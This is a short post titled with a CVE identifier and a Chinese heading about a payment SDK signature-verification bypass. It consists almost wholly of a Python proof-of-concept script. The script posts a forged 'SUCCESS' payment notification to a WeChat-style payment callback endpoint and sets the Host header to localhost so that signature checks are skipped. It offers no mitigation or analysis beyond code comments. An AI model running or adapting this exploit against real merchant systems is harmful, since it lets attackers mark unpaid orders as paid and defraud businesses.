CVE-2026-33661: Pay SDK签名验证绕过漏洞

import requests def exploit_poc(target_url): """ PoC for CVE-2026-33661 Bypass signature verification by setting Host header to localhost. """ # Malicious payload simulating a successful payment notification # The actual content does not matter as verification is skipped data = { "out_trade_no": "VULNERABLE_ORDER_ID", "result_code": "SUCCESS", "total_fee": "10000" } # The critical header that triggers the vulnerability headers = { "Host": "localhost", "User-Agent": "PoC-Client/1.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[+] Sending exploit request to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[!] Request sent successfully. Check if order status changed.") print(f"[+] Response: {response.text}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {str(e)}") if __name__ == "__main__": target = "http://example.com/api/payment/callback/wechat" # Replace with actual target exploit_poc(target)